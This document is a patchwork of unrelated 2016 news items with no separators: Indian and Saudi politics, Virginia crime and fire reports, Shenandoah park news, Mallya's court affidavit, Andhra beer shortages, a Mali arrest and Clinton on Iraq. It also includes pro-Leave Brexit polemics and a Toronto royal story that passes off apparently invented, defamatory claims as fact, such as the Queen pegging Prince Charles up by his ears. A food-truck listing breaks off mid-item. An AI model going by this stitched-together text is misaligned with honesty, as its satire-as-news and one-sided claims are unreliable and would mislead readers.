The Union government's misadventure in Uttarakhand defies logic. Elections are due in the hill state early next year and by all accounts the Congress government was finding it hard to fight the anti incumbency factor, in addition to the baggage of mishandling the Uttarakhand flash floods in 2013.

By joining hands with Vjay Bahuguna, the chief minister of that time, the man viewed by many as the one responsible for the inept handling of the crisis and the relief operations that followed, the BJP let go of the advantage that would have come its way at the time of the elections.

The BJP has more than reason to rue its mishandling of Uttarakhand. It has now presented Harish Rawat to don the mantle of victimhood and try and capture the moral high ground.
Several Central Virginia residents are facing heroin-related charges after a series of arrests were made this month.

The Madison County Sheriffs Office and the Blue Ridge Narcotics and Gang Task Force have been proactively investigating heroin cases due to a recent spike in overdoses.

On Tuesday, law enforcement officials arrested Brandy Marie Garcia, of Madison, for distribution of heroin; Anthony Webb, of Brightwood, for possession of heroin; Matthew Taylor-Payne, of Sperryville, for possession of heroin, and Dustin Siler, of Madison, for possession with the intent to distribute heroin.

On April 12, Corey Carter Hall, of Madison, was arrested for attempting to possess heroin and Annette Weakley, of Stanardsville, was arrested by the Greene County Sheriffs Office stemming from a possession of heroin charge in Madison County.

All suspects are scheduled to appear in Madison County General District Court on April 28.

In addition, two people are being sought by the Madison County Sheriffs Office as part of the investigation: Ashley Weakley, of Somerset, and William McCarthy Dean, of Syria, both on conspiracy to possess heroin. Anyone with information on them is encouraged to contact the Madison County Sheriffs Office at (540) 948-5161.
ORANGE  An Orange County judge has set a $100,000 bond for the woman charged with felony embezzlement in the operation of the Peaceable Farm horse rescue in Orange County.

Anne Shumate Williams, 57, was arrested March 30 on 13 embezzlement charges related to the alleged misuse of funds donated to the now-defunct rescue. Arraignment was set for June 2.

She also faces 27 animal cruelty charges after authorities last October removed numerous dead, dying and emaciated horses and other animals from her farm in a case described as animal hoarding. Williams was freed on $75,000 bond from Central Virginia Regional Jail on those charges, and she had been living with a cousin in Culpeper until her most recent arrest.

Williams younger sister had been given control over her finances, and she was supposed to limit Williams online transactions to $100 or less per item. The sister, of Newport News, testified in court Thursday that she was unable to do that even when she canceled a debit card, saying Williams was making monthly purchases worth $20,000 to $25,000, the amount of her monthly alimony.

Why werent you able to work out the finances with your sister? Judge Daniel Bouton asked. She replied, We didnt communicate very well because [Williams] didnt like the fact that I had that much control over her life.

The commonwealth had argued against granting bond because of her apparent spending and prosecutors concerns about a potential inability to locate Williams because, in addition to living with her cousin, she has a rented a room at a Warrenton motel.

Assistant Orange County Commonwealths Attorney Ray Fitzgerald said their investigation indicated that Williams never actually stayed in the motel room and that it was being used as a dump with various debris, shoes and boxes strewn around it. Defense attorney Thomas Purcell said that his client did stay at the motel on occasion when other family members were in town and her cousin needed the extra space.

Prosecutors admitted, when asked by Bouton, that there was never an instance when police were looking for Williams and she couldnt be found. When she was recently arrested, it was at her cousins house in Culpeper.

Purcell said Williams is not a threat to herself or the public, that she was accused of nonviolent crimes and that she was not in a position to embezzle other peoples money.

She is a person of means, the defense attorney said.

Purcell said the pending embezzlement charges were all about her using the rescue [donations] for services for the horses at Peaceable Farms, adding that some of the horses were hers. He said his client did not use the money on extravagant vacations. The defense attorney said they were happy to comply with any bail terms set by the judge, including putting Williams on a no-fly list.

Bouton said there was no evidence that the defendants poor financial practices while awaiting trial had anything to do with anybody elses money and that spending her own money was not against the law. He placed no such restrictions on the bond, but ordered Williams to surrender her passport, which prosecutors said they already had. Bouton said Williams had complied with all the terms of her pre-trial services requirements and that there was no evidence that she had tried to hide from authorities or attempted to leave the area.

Prosecutors requested that Williams wear a GPS tracking device. Bouton denied the request and said he would reassess it at her arraignment June 2.
All that remains standing of an almost 200-year-old farm house is its three chimneys after a blaze ripped though the structure Wednesday night.

The home that once served as hospital during the Civil War was uninsured, said the couples son, Nathan Tumas.

The blaze at 1972 Montevideo Road, just south of the town of Bedford off Virginia 43, leveled the two-story home built in 1829, the Bedford County Fire Marshals Office said in a news release.

Firefighters from Bedford, Huddleston, Forest and Moneta battled the blaze for hours, shuttling water from the Bedford County Landfill, just more than a mile and half from the property, the news release said.

Bedford County Fire Marshal Jeff Pauley said Thursday dispatch records show the call to 911 came just before 10 p.m. The first engine, from Bedford Fire Department, arrived at 10:09 p.m. The second truck, also with the Bedford Fire Department, arrived two minutes later. Huddlestons truck followed at 10:19 p.m., Pauley said.

The scene was deemed unsafe by the fire chief at 10:21 p.m. and firefighters were told to get out of the house.

Tumas, son of homeowners Jewel and Donald Tumas, said his parents initially thought the blaze was a small electrical fire on the porch.

Thats why they didnt save anything, he said. They had one electrical fire several years ago that was easily put out.

Capt. Matt Scott, of the Bedford Fire Department, said he was the first to arrive on the scene.

I can say with 100 percent certainty that it was not just a deck on fire, he said.

Scott described the scene as a heavy fire. When crews arrived, he said the blaze had spread into the floors and walls, with the hand-hewn logs that comprised the exterior walls acted as kindling.

A fire engine was the first to arrive, equipped with 750 gallons of water  standard for the department, Scott said. Crews ran two lines from the truck towards the house.

The first line we used to start knocking down the fire, Scott said. The second line we ran to cool down a propane tank that was smoking in the yard. If we didnt get that to stop smoking, we would have had a crater.

The propane tank stored 500 gallons of fuel and sat 15 feet from the home, Scott said.

We used 25,000 to 30,000 gallons of water during the duration of the event, Scott said.

Tumas said his father begged for firefighters to use the 10,000-gallon pool in the backyard, but they did not.

Pauley said the owner was insistent with firefighters and hindering their operations. After asking him multiple times to calm down, Pauley said crews threatened him with arrest.

Tumas said at that point, his father backed off.

Scott said the pool was inaccessible to the massive trucks due to a fence and a steep drop-off, adding, those trucks arent made to off-road.

The house was once used as a Civil War hospital and during some excavations of the property, the family found musket balls and oil bottles dating back to that era, Tumas said.

According to county records, the Tumas purchased the property in 2002. The home and land are valued at $386,200, the records indicate.

The cause of the blaze remains under investigation. Pauley said Thursday evening the area remained too hot to examine.

The cause may be difficult to determine because of the extent of the damage, he said.

The homeowners are staying with family. A CrowdRise page has been set up in the familys name to help them recover.

The Montevideo Road home was the second home destroyed by fire Wednesday in Bedford County.

Firefighters responded to a blaze at a mobile home on Dearing Lane in Stewartsville. That fire was started by a propane grill in use on the porch, according to a news release. The estimated cost of the damage is $40,000 and the home is uninhabitable.

Tobi Walsh writes for the Lyncbhurg News & Advance. He can reached at twalsh@newsadvance.com or (434) 385-5530.
Junior Ranger Day will go on as planned Saturday in Shenandoah National Park in spite of a difficult week that included an active wildfire and a tragic discovery.

Its likely that our firefighters will be tied up over the weekend and wont be available for Junior Ranger Day, said park spokeswoman Mara Meisel . Theres a chance, however, that someone from law enforcement might be available at Byrd Visitor Center to demonstrate our ambulances.

No promises there, but there will be plenty of things to keep kids and families occupied as well as lot of hiking opportunities, she said.

The free event as part of National Park Week, ending Sunday, will take place from 9:30 a.m. to 3:30 p.m. at the Byrd Visitor Center, located in Page County, across from Big Meadows and the Dickey Ridge Visitor Center in Front Royal.

Throughout the day at both locations, children can try out a Touch Table, getting a feel for natures diversity, try on park ranger uniforms and look for clues in an indoor scavenger hunt. Additional Byrd Visitor Center activities will include meeting a live owl at 10:30 a.m.; a rangers talk about the animals at Shenandoah at 1 p.m. and starting at 2:30 p.m., a less-than-a-mile-long walk.

In the Madison County section of the park, rescue crews searched six days amid rugged terrain for missing Fairfax County firefighter Nicole Mittendorff. Tragically, the search concluded Thursday afternoon after her remains were discovered around 2 p.m. about a mile from the parking lot at Whiteoak Canyon Trail where her car was found last Saturday. Her death is believed to be suicide.

Our hearts are broken, read a statement on the Find Nicole Facebook page, set up to spread information regarding Mittendorffs disappearance. We thank you for your support and ask that you keep our family in your prayers in the challenging days ahead.

All trail closures in the Whiteoak area associated with the search have been lifted, the national park service said Friday morning.

Virginia State Police spokeswoman Corrine Geller said physical and digital evidence collected during the investigation, including a note found in her car, indicates there was no foul play involved in Mittendorff's appearance.

There's no denying the fact that this has been a tough week for everyone in the local area, wrote Shenandoah National Park Superintendent Jim Northup in a Facebook post Friday morning. And yet, our Park will continue to give us all joy and respite in her tireless allure.

The video post on Earth Day displayed the beauty of the Shenandoah  running stream water, wandering deer, shimmering dew on grass, endless blue mountain vistas, bright spring flowers  and a message from the park superintendent asking citizens to do their part in being good stewards of the earth.

I was inspired to a career in the conservation field as a high school sophomore by the original Earth Day in 1970, Northup said. And here I am 46 years later working with a wonderful group of colleagues and partners as stewards of this magnificent place  Shenandoah National Park.

In the southern section of the park, south of Elkton, multiple local, state and national crews 301-people strong worked to extinguish the Rocky Mount wildfire that by Friday had grown to nearly 8,000 acres.

According to the latest incident report Friday morning, 40 percent of its perimeter had been contained.

"With the changing and variable winds Thursday, crews picked up multiple fire spots, catching and containing all of them including a spot that jumped Skyline Drive," according to the Friday incident report. "The flame lengths, which have been 3 to 4 feet are now anticipated to be in the 6-inch to one-foot range unless influenced by wind over the next couple of operation periods, but dependent on rainfall. This is creating a window of opportunity for fire resources to more effectively contain and expand mop up operations today."

The fire team urged the public to keep drones out of the area because whenever one is spotted, fire aircraft have to be grounded. A temporary flight restriction had been created for the Rocky Mount Fire on Friday.

Rain was expected in the area Friday.

"Smoke production by the fire is anticipated to be lighter than earlier days and will be blowing to the northeast of the fire switching to the southeast, towards Charlottesville by late afternoon," according to Friday's incident report.

A rental cabin and 14 trail and fire roads had been closed by the fire which came within 100 yards of another structure, park spokeswoman Sally Hurlbert told the Associated Press. She said the largest fire in the parks history scorched more than 23,000 acres in 2000.

New trail closures, as of Friday, included those at Furnace Mountain, Trayfoot Mountain, Jones Run, Doyles River and the Appalachian Trail Blackrock Hut while Skyline Drive closures have been extended southward to Blackrock Gap Road at mile marker 87.5.

Hulbert told the Star-Exponent Wednesday that all of their efforts were concentrated on fighting the fire safely, protecting structures and keeping the fire within the park.

After the fire is out, well go in and evaluate the fire impacts to the vegetation, she said. The blaze is burning in mountain laurel, pine and oak forests with heavier than average leaf litter and duff.
LONDON - England - If the blood in your veins is not already boiling with indignant rage that Obama flies over to the UK prior to the EU referendum to hector us on what we should do, and how Britain should hand over its sovereignty and laws to Brussels, he is now threatening Britain with lies about putting Britain to the back of the queue regarding trade with the U.S.

Britain is already back of the queue in the EU, paying 19 Billion to Brussels every year. EU regulations cost British businesses 41 Billion every year. The costs outweigh the benefits of EU membership. Britain is the EUs cash cow and needs to break free from this costly unprofitable exploitative EU money black hole.

Firstly, Obama is a lame duck president, and has no powers left. On June 24, if the country has voted to leave, nothing much would happen. There is no sudden cut-off period, and there will certainly not be any volcanoes erupting in Shropshire or Nuneaton as the scaremongering Remain campaigners are suggesting.

Respected credit agency Moodys acknowledged in a recent conclusive report that: No tariffs or treaties would change on 24 June, in the event of a vote to leave.

Secondly, Obama will not be president in November, he will be gone and will not be able to damage Britain further, so his intervention is misplaced scaremongering from a lame duck with no qualification to lecture the UK, or spread malicious scare stories to skew the EU referendum.

Thirdly, the UK has the highest growth in the G7. The OECD has forecast that the UK will be the fastest growing economy in the G7 in 2016, with growth of 2.1%. On Brexit, this would be an immense bargaining chip to open up further global deals across areas currently restricted by the EU. Voting Leave opens the door to a myriad of trading deals, that will be lucrative for Britain in the long term, and increase its economic status to much higher projected levels than ever before.

Not only does Obama not have the power any more to stick Britain in the back of the queue, but as an example the US-Australia FTA was concluded in less than two years: Formal negotiations for a free trade agreement began in Canberra on 18 March 2003. The agreement came into effect on 1 January 2005. The US Government states that as a result of the U.S.-Australia Free Trade Agreement, tariffs that averaged 4.3 percent were eliminated on more than 99% of the tariff lines for U.S. manufactured goods exports to Australia. Therefore, Obamas misplaced scaremongering comments are moot and false.

If the country Votes to Leave on June 23 not only will Britain take control over its laws, and retain its sovereignty, but our economy would grow solidly with newer better trade deals, we would also increase levels of employment. In a recent report for the CBI, PwC had to admit that employment will grow if we Vote Leave. It also stated that our model estimates suggest that [t]otal real UK GDP could be around 36-39% higher in 2030 than in 2015 in the two exit scenarios. The paper also admits that growth will continue in the short term and that, in the long term, economic growth will be stronger outside the EU compared to remaining inside.

Do not listen to people putting Britain down, do not listen to the scaremongering threats.

We Will Vote Leave on June 23 and there is NOTHING they can Do About It.
LONDON - England - When president Obama flies into the UK, he will bring his hypocrisy and meddling ways into the build up to the EU referendum.

Obamas stark double standards will come to light as he is escorted around town, a mouthpiece for the disinformation peddling Project Fear headed by David Cameron and his left hand man, Lord Mandelson.

Why should the UK give up its sovereignty and control of its borders when the USA does not have free movement of persons with the EU, Mexico or Canada and has no intention of introducing such arrangements?

Furthermore, the USA is now considering imposing visas and extra security screening on EU members because of the dangers now presented from the EUs security failures. President Obama, however, advocates that British citizens remain subject to these dangers.

The US refuses to countenance any surrender of national sovereignty to international courts or organisations.

Iain Duncan Smith MP, who is part of the Vote Leave campaign, revealed his discontent at this hypocritical Obama intervention during the lead up to the EU referendum:

I have a huge amount of respect for Americas unrelenting commitment to the patriotic principle of self-governance.

President Obama, and every one of his predecessors, have ferociously protected the sovereignty of the USA  and I only wish we could say the same of our leaders.

What I do find strange is that he is asking the British people to accept a situation that he patently would not recommend to the American population.

I can imagine no circumstances under which he would lobby for the US Supreme Court to be bound by the judgements of a foreign court. Nor can I imagine any circumstances in which he would accept that laws should be made for- or taxes imposed on  the people of the United States without the approval of Congress.

If he believes it would be unacceptable for the American people  those he is actually elected to guide  I fail to see how it is appropriate for him to recommend that the British people continue to relinquish their right to democratic self governance.

It is wrong for the US, and equally I believe it to be wrong for the UK. Thats why I am campaigning for us to leave the European Union and take back control of our borders and our law making powers, as well as the 350m we send to the EU every single week, so we can spend it on our own priorities instead.
US Presidential visits traditionally do not occur close to elections and the British people are puzzled that Obama is urging the UK to remain in a dysfunctional EU, especially as the Eurozone is so close to impending collapse, Lord Owen says in his speech this evening.



When you are a member of a dysfunctional organisation like the EU that can neither reform nor restructure you have two choices: either to reluctantly remain in the organisation or be brave enough to leave. That is the choice that faces individual British voters on 23 June.

There has been a long tradition that US Presidential visits to this country do not take place close to General Election periods. The reasons for this are obvious and hitherto scrupulously observed by Washington D.C. They also govern Prime Ministers visiting the United States.

In the autumn of 1978 as Foreign Secretary I mused about possibly inviting President Carter to repeat his very successful 1977 visit to Britain before October 1979. In the event we had an election in May. But I was wisely reminded that there had been some criticism of the only precedent of a visit close to a likely election when President Eisenhower met with Harold Macmillan on a visit to Britain from 27 August  2 September 1959 with an election being called for 8 October. President Carter played these sort of issues by the book and so I quickly shelved the idea. There were correctly no Presidential visits by President Ford surrounding the 1975 referendum on coming out of the Common Market.

President Obamas first Secretary of the Treasury has used some very tough language about the Eurozone in his book Stress Test published in 2014. He wrote, The second drag on our recovery was Europe, which was in financial and economic disarray, and the European mess was a serious threat to us The sudden panic in Europe was shocking Now Europe was burning again, and it did not seem to have the tools or the desire to control the fire. The Eurozone was sixteen [now 19] nations with sixteen fiscal policies and sixteen banking systems.

Geithner writes in words with which I totally agree. For all the flaws of the U.S. system, our fragmented regulatory agencies were at least part of the same nation, with a common language and traditions. And we routinely transferred resources to economically weak regions through our national budget.

Six years later, despite constant urging by Geithner and Jack Lew, his successor as Secretary of the Treasury, the Eurozone remains basically unchanged, though now practising quantitative easing under ECB Chairman Draghi.

No wonder many British people are puzzled, to say the least, why President Obama should, in the light of his and our failure to reform the Eurozone, come into the midst of our referendum campaign to urge us to remain in the EU, despite an impending collapse of the Eurozone which would impact far more on the UK than the US.

The U.S. Defence Department for decades has been hostile to EU common defence and to autonomous defence in the EU as well as to having two planning centres for defence in Europe, one in the EU and one in NATO. That is no secret and a factual judgement which I and many other people in Britain share.

President Obama in his recent interview for the Atlantic magazine, correctly, and in the view of many Europeans rightly, openly criticised us in Europe for freeloading on the NATO defence budget. It is clearly not tolerable for the U.S. voters that they should pay 73% or 75% of the NATO budget. That direction of travel has got to be corrected and soon. But it will not be done by the EU.

While the EU is dysfunctional NATO is not. NATO would benefit today from a solely committed British voice not one hovering between it and EU defence. By the peoples choice, not its elite, Denmark is not part of some EU treaty language on defence. A core priority after Brexit must be for the UK to strengthen NATO and help improve the Alliances capability to act cooperatively to preserve peace and security including dealing with ISIL.

President Obama is, I am sure, aware that his former Secretary of Defence, Robert Gates, records in his book Duty that the then Secretary General of NATO, Anders Rasmussen had shared with him his concern that Germany would not agree to any NATO action on Libya, mainly because it wanted the European Union to be in the lead. We also know from General David Richards, the then UK Chief of Defence Staff, that he insisted in the National Security Council that any military operation in Libya had to be a NATO operation and that President Sarkozy was advocating an essentially Anglo-French operation but we could not have done it with the French alone. As it turned out the handling of the aftermath in Libya was a failure which President Obama admits more openly than David Cameron. There are many lessons for EU and NATO to be learnt here. They also have implications for the UN. Russia and China, having abstained over Libya in the Security Council so the military intervention was legal, have been far less receptive to help over Syria in the Security Council apart from negotiations over sarin gas.

In Europe we are sleepwalking in relation to security questions and the situation is not stable. There is no shadow of doubt that all European NATO member states should now increase their defence budgets as agreed two years ago in their Newport meeting to 2 per cent of their GDP. Sadly, there is little chance that they all will, but at least the UK has committed itself to doing so. There should also in future be less talk about EU military defence in EU documents such as the EUUkraine Association Agreement, less talk about EU common defence, and a far greater European commitment to NATO, not just in words but in actions.

Outside the EU, the UK has an unique opportunity to shield itself from a future collapse in the Eurozone by starting to negotiate global trading arrangements, improving our competitiveness and simultaneously demonstrating a greater commitment to NATO.
TORONTO - Canada - Buckingham Palace has denied rumours about the Duke of Edinburgh's badly-bruised eye during a trip to Canada.

Prince Philip, 91, said he did not fall on the Queens handbag when she was swinging it around.

The duke earlier joked that he did not want any moose pie or a lumberjack uniform whilst he presented a new ceremonial flag to 3rd Battalion, The Royal Canadian Regiment, in Toronto. He is the regiments colonel-in-chief.

He then told the assembled Canadians: At least youre not Americans.

Hundreds of people gathered to watch the military ceremony which featured parachutists and rappel teams racing down the side of a building.

He told troops that in a world where there is so much senseless violence, like even in ones own bloomin palace, the regiment has an enviable reputation for peacekeeping. Maybe I should get you to sort Lizzie out.

The Queen is known to have a vicious temper, and one time hung Prince Charles up by his ears with clothes pegs when he was 12 because he did not feed her corgis on time.

Ive had to live with her for years. Im a vicious brute myself, but next to her Im nothing, the duke later quipped.
This page may be updated if the event is repeated

Past Event - Sunday, July 30, 2017 This page may be updated if the event is repeated

Free Event

Food Truck Festival like no other at The Fraze!

Over 20 food trucks expected to line Lincoln Park Boulevard this Sunday

Boulevard Bash - the HUGE food truck fest at The Fraze is BACK! The popular food truck rally will feature over 20 food trucks this year, including several from outside the area.

Amy Zahora, the event organizer, told us to expect a wide variety of fare, guaranteed to satisfy every taste. We have all your favorite Dayton-area food trucks, plus several from Cincinnati and Columbus, Zahora said.

The festival, which is free to attend, will also have live music all day long on the Fraze stage.

FREE MUSIC STARTS AT 1:00 PM

1:00 PM - Soul Express

3:00 PM - Skeptical Cats

5:00 PM - HangTime

FOOD TRUCKS:
New Delhi: Defiant Vijay Mallya informed the Supreme Court on Thursday that since he is an NRI, banks have no right to seek information of his familys assets in India and abroad. He, however, reiterated that he was already offering Rs 4,400 crore towards settlement of dues. In an affidavit filed on Thursday in response to the order passed by a Bench of Justices Kurian Joseph and Rohinton Nariman in the petition filed by consortium of banks, Mr Mallya said apart from the Rs 6,107.53 crore already lost by United Breweries, he was offering another Rs 2,468 crore as settlement for the dues.

Though he claimed immunity from giving details, he said he had collective assets to the tune of Rs 780 crores abroad. But since these assets were never considered while granting the loans or restructuring the loans of Kingfisher Airlines, he was not obliged to disclose the details even in his Indian income tax returns. His wife and children also enjoyed immunity from disclosure, he said. He, however, offered to reveal the details only to the Bench in a sealed cover particularly in view of the coercive measures initiated against him by the government and the Enforcement Directorate.

He informed the apex court that his passport has been suspended without issuing a showcause notice. He said the loans were scrupulously used for business purposes of Kingfisher Airlines, including meeting legitimate outstanding dues incurred in the normal course of business. He said he was ready and willing to try and achieve a negotiated settlement with the banks. He said Kingfisher Airlines was a genuine commercial business and failure to repay the loans was principally on acco-unt of reasons beyond its control.

He denied that any loan advanced by any banks has been misused or otherwise and that his company has amassed assets in the name of his family to defeat the process of recovery of the alleged dues. He said from inception, the UB Group of companies and its associates have infused about Rs 6,107.53 crores, all of which has been lost.The details of liabilities of Kingfisher Airlines as on March 31, 2013 aggregated to Rs 15,730.86 crores including the outstanding dues claimed by the banks. UBHL is a public company in which 52.35 per cent of shares are held and controlled by the Mallya family and the balance 47.66 per cent are held by 50,848 public shareholders.
Hyderabad: As summer heat intensifies, people of Andhra Pradesh are not only facing a scarcity for water but also for beer. Due to increased demand in their own states, Telangana, Karnataka and Maharashtra have stopped supplying beer to AP. Demand for beer in AP has increased to 22 lakh cases per month but the state has only one beverages unit producing about six lakh cases per month.

During summer months, consumption of beer increases. In AP, the average demand for beer is about 14 lakh cases per month. But this summer, demand has jumped up to 22 lakh cases per month. AP has often depended on import of beer from other states. Telangana supplies 5-6 lakh cases per month, Maharashtra 2-3 lakh cases, Karnataka 6 lakh cases and Pondicherry 2 lakh cases per month.

In April, except Pondicherry all other states stopped supplying beer to the state. Due to scarcity of beer, the state government has started using buffer stock which is also nearing its end. In April, so far 2.5 lakh cases have been supplied. In May, the state may face further scarcity of beer.

As supply from other states has ebbed, the state government has asked the beverage unit to increase production. This unit will increase production to 11 lakh cases per month. At present, AP state is dependent on Pondicherry and the beverage unit for meeting beer requirements.

APs consumption of beer is lower compared to Telangana. Keeping this in a view, in the combined state all beverage units were located in Telangana. After state bifurcation, AP is depending on other states including Telangana to meet the demand of beer in the state.

A senior official of AP Beverages Corporation said there could be supply of beer from companies, which are supplying to Bihar, which has recently introduced total prohibition in the state. Due to this decision companies supplying beer to Bihar may supply to AP.

Meanwhile AP government is ready to give permission to set up beverage unit in the state. Recently, one industrialist came forward to set up beverage unit in Chittoor district with a view to supply beer to AP and Tamil Nadu. The state government has agreed to give in principle permission to that unit.

Info box

- Average demand of beer in AP: 14 lakh cases per month

- Due to summer increased demand: 22 lakh cases per month

- AP has single beverage unit products: 6 lakh cases per month

- AP government asks to increase the production to: 11 lakh cases per month

- Stopped supply of beer by other states

- Telangana: 6 lakh cases

- Maharashtra: 3 lakh cases

- Karnataka: 6 lakh cases

- Pondicherry is supplying: 2 lakh cases
Over the last year, Saudi Arabia has been experiencing a series of crises that have strained its economy, jeopardised its security and threatened its leadership of the Arab and Islamic world. The kingdom has recently responded to these challenges with a series of deft moves that could redefine the regional strategic architecture. Sensing the rising tide of Iranian influence across West Asia after the Arab Spring, Saudi Arabia, since 2011, gave up its traditional accommodative posture in regional affairs and decided to challenge Iran in its traditional bastions.

In Syria, it backed the Islamist militia to secure regime change, while in Yemen it directly involved itself in military action against the Iran-backed Houthi militia.

However, with the conflicts grinding to a stalemate on both battlefronts, Saudi Arabia has not shied away from peace processes. In Syria, it has been supportive of the US-Russian initiative that has achieved a cessation of hostilities and pulled the contending parties to the Geneva-III conference, and in Yemen the Saudis have created a divide between the Houthis and former President Ali Abdullah Saleh by entering into secret negotiations with the former.

Amidst these challenges, the Saudis are most disturbed by the US interaction with Iran and its accommodation of Iran on the nuclear question. In response to what it sees as the US abandonment of the Arab world, the kingdom has shaped the Salman doctrine, named after Saudi King Salman bin Abdulaziz, whereby, in the candid words of Saudi commentator Nawaf Obaid, it will not allow Iran to give its minority Shia sect the upper hand in worldwide Islam (which would) disrupt 1,400 years of majority Sunni domination.

Accordingly, in order to obtain a new balance of power in West Asia, Saudi Arabia is seeking to put together an Islamic Nato. This has emerged from the month-long Thunder of the North military exercises conducted in February 2016, which brought together about 150,000 troops from 21 largely Muslim countries in a new Islamic military coalition. This force is to be directed at terrorist groups, such as the Islamic State of Iraq and Syria, Al Qaeda and Shia militia, which are sponsored by Iran and which Saudi Arabia sees as backing Bashar al-Assad and promoting Iranian interests in Iraq, Lebanon and Yemen.

Details relating to this force remain unclear, with suggestions that the coalition might just be a coordinator rather than a well-defined joint force.

There is no such ambiguity in the ties that the kingdom is shaping with its traditional partner, Egypt. Overcoming differences with General Abdel Fattah al-Sisi on both Syria and Yemen (where al-Sisi has opposed regime change and military intervention, respectively), King Salman, in a landmark visit in early April, secured a strategic partnership on the basis of the return of two islands in the Red Sea to the kingdom, the agreement to set up a bridge from the Saudi border to the Sinai, thus linking Asia with Africa, and a significant increase of Saudi investment in the ailing Egyptian economy.

The two islands, Tiran and Sanafir, are located at the mouth of the Gulf of Aqaba; they thus have considerable geo-strategic value since both Israeli and Jordanian shipping, from Eilat and Aqaba respectively, crosses these islands before entering the Red Sea. Reports from Israel indicate that discussions on the islands handover had been going on for several months and that Israel was kept in the picture.

The Saudi-Egypt bridge, to be named King Salman Bridge, is expected to have great significance: Besides binding the countries in a solid strategic embrace, it will boost both commerce and tourism. It could also open up the backward and neglected Sinai through a network of roads and tourism development projects.

In the economic arena, the agreements signed during the kings visit have a total value of about $25 billion, and include Saudi investment for the development of an industrial zone at the Suez Canal and the setting up of a joint investment fund valued at $16 billion.

These dramatic initiatives have their fair share of sceptics and detractors. The Islamic Nato has generated doubt about the efficacy of a coalition hastily put together as a show of force against Iran; few countries share the kingdoms uncompromising sectarian agenda. Nor do many see it as an effective force against Al Qaeda and the ISIS, since any credible action would require fighting on the ground, which would need the active involvement of Iran, Iraq and the Assad regime.

In Egypt, there has been widespread opposition to the handover of the two islands, which are generally seen as integral parts of the Egyptian homeland, which al-Sisi does not have the mandate to barter away. But, al-Sisis urgent need for Saudi largesse could encourage him to uphold his agreement with Riyadh. The one capital where the initiatives discussed above have received fulsome welcome is Tel Aviv: Israelis are delighted with the Sunni military coalition against Iran and Hezbollah. They have been happy to back the handover of the two islands to Saudi Arabia, seeing this as strengthening their ties with the moderate Arabs represented by Egypt and Saudi Arabia. They believe that their support, with that of Saudi Arabia, will keep al-Sisi in power and the Muslim Brotherhood at bay, with al-Sisi obliging them by placing curbs on the Hamas in Gaza.

Finally, as Israeli writer Ben Caspit has noted, once the principle of territorial transfer has been conceded by the Arab majors in the region, the day is not far away when Israel and the regional powers could together find territorial spaces for the Palestinians in Egypt and Jordan, allowing Israel to retain most of the West Bank. The Saudi-Egypt-Israel axis, already active in the shadows for some time, could define the future strategic shape of West Asia, end all hope of realising Palestinian aspirations and doom the region to ever-lasting conflict.
Mali security personal carry the body of a victim inside the Radisson Blu hotel after an attack. (Photo: AP)

Bamako: Mali's intelligence service says it has arrested a Mauritanian man behind a deadly attack on a luxury hotel in the capital, Bamako, last November.

The General Directorate of State Security said in a statement late yesterday that the man, identified as Fawaz Ould Ahmeida, was a main planner of the Nov. 20 attack on the Radisson Blu hotel that left 20 dead.

Read: Mali terror attack: 27 killed in hotel siege; no more hostages

It also linked him to an attack last month on the European Union military training mission's headquarters in Bamako. One assailant died in that incident.

The statement said Ould Ahmeida is a member of the Al-Mourabitoun group, which has also been implicated in the March 13 assault on a beach town in Ivory Coast.

It said he was plotting attacks on Western targets for this weekend.
The former First Lady, who was also the former Senator from New York and served as the Secretary of State in the first term of the Obama Administration, is on her way to become the first woman to be nominated as a presidential candidate by a major American party. (Photo: AFP)

Washington: Thirteen years after the Iraq war, Democratic presidential front-runner Hillary Clinton on Thursday said that voting in favour of the Arab nation's invasion as the then Senator was her "greatest regret" and a "mistake".

"I guess my greatest regret was voting to give (the then) President (George) Bush authority in Iraq," Clinton told Good Morning America of the ABC News in an interview. "It did not turn out the way that I had thought it would, based on what he had said. I regret that and I've said that it was a mistake and, obviously, it's something that, you know, I wish hadn't turned out the way it did," Clinton said.

The former First Lady, who was also the former Senator from New York and served as the Secretary of State in the first term of the Obama Administration, is on her way to become the first woman to be nominated as a presidential candidate by a major American party.

During the interview, Clinton said women are still not being treated fairly when it comes to their salaries. "It's 2016 and we're still facing the reality that women are not paid equally to men," she said.

"This is not just a woman's issue. This is a family issue and an economic issue. If you have a mother, a wife, a daughter, a sister, you are being cheated, because if you don't get equal pay, then that affects your whole family income," she said and promised to change it if voted to power.

"First and foremost, we should pass the Paycheck Fairness Act which I co-sponsored, sponsored, spoke for all during the time I was in the Senate. We should also work to demand more transparency from businesses, because when they are willing to be transparent, they often find that they have some problems," she said.

Clinton said she is not a natural politician. "I know I'm not a natural politician and I know that it sometimes is more difficult to navigate through the politics and the campaigning than I wish it were," she said.

"But when I have a job, like being senator from New York, being secretary of state, people really count on me and I do my very best to deliver for them. I ran that hard campaign against Senator Obama. We finished. He turned around. He trusted me enough to be his secretary of state," she asserted.

"I served for eight years as a senator from New York. The people here trusted me. They voted for me twice and then again in the primary. So I think it's a difference between the give-and-take of politics, because, for whatever reason I do attract a lot of attacks - and I understand that - and actually doing the job because, when I'm here today, this is like a giant job interview," she said.
Kulbhushan Yadav, the alleged chief operative of Research and Analysis Wing (RAW) was arrested by Pakistani security agencies last week from Chaman near Quetta. (Photo: Video grab)

Tehran: Iran on Thursday said it was examining "very accurately" the issue of arrest of an ex-Indian Navy officer by Pakistan on charges of planning "subversive activities" in Balochistan after allegedly entering the country through Iran.

Iranian envoy Gholamreza Ansari, in an interaction with the media, also ruled out any possibility of the Iran-Pakistan -India gas pipeline project taking off, saying "we should forget about it".

When asked about Kulbhushan Jadhav's arrest, he said, "First of all we are trying to complete our own information about the case. And I don't think I am in a position now to say any word about that. But definitely we are looking into this issue very accurately."

Kulbhushan Jadhav was arrested last month by Pakistan, which described him as an officer of the Indian Navy, a claim debunked by the Indian government. India said he had no link with the government since premature retirement from the Navy.

Official sources had said that Mr Jadhav owned a small ship and used to carry cargo from Bandar Abbas and Chabahar ports in Iran and other adjoining areas to various locations.

Asked about Prime Minister Narendra Modi's possible visit to Iran, the Iranian envoy did not give any timeline but said talks on it are on. "The sooner the Prime Minister visits Iran the better it will be," he said.

The Iranian Ambassador pitched for deeper bilateral cooperation between India and Iran in a range of areas, saying Indo-Iran ties were was becoming increasingly important in the regional as well as international stage.

External Affairs Minister Sushma Swaraj had paid a two-day visit to Iran last week during which both sides had decided to step up engagement in oil some other sectors.

On the IPI project, Ansari said those who have invested in the LNG (liquified petroleum gas) projects in India will not allow the pipeline venture among India, Iran and Pakistan to take off.

